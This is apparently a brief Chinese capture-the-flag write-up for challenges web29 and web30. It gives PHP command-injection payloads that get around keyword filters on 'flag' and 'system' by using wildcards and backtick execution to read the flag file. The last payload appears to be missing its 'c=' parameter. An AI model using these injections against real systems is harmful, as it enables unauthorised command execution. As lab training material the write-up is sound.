web29
过滤了flag，可以用system,echo等.
1
2
/?c=system("cat fla*");
/?c=echo`cat fl*`;

web30
多过滤了一个system，还可以用echo.
1
/?echo`cat fl*`;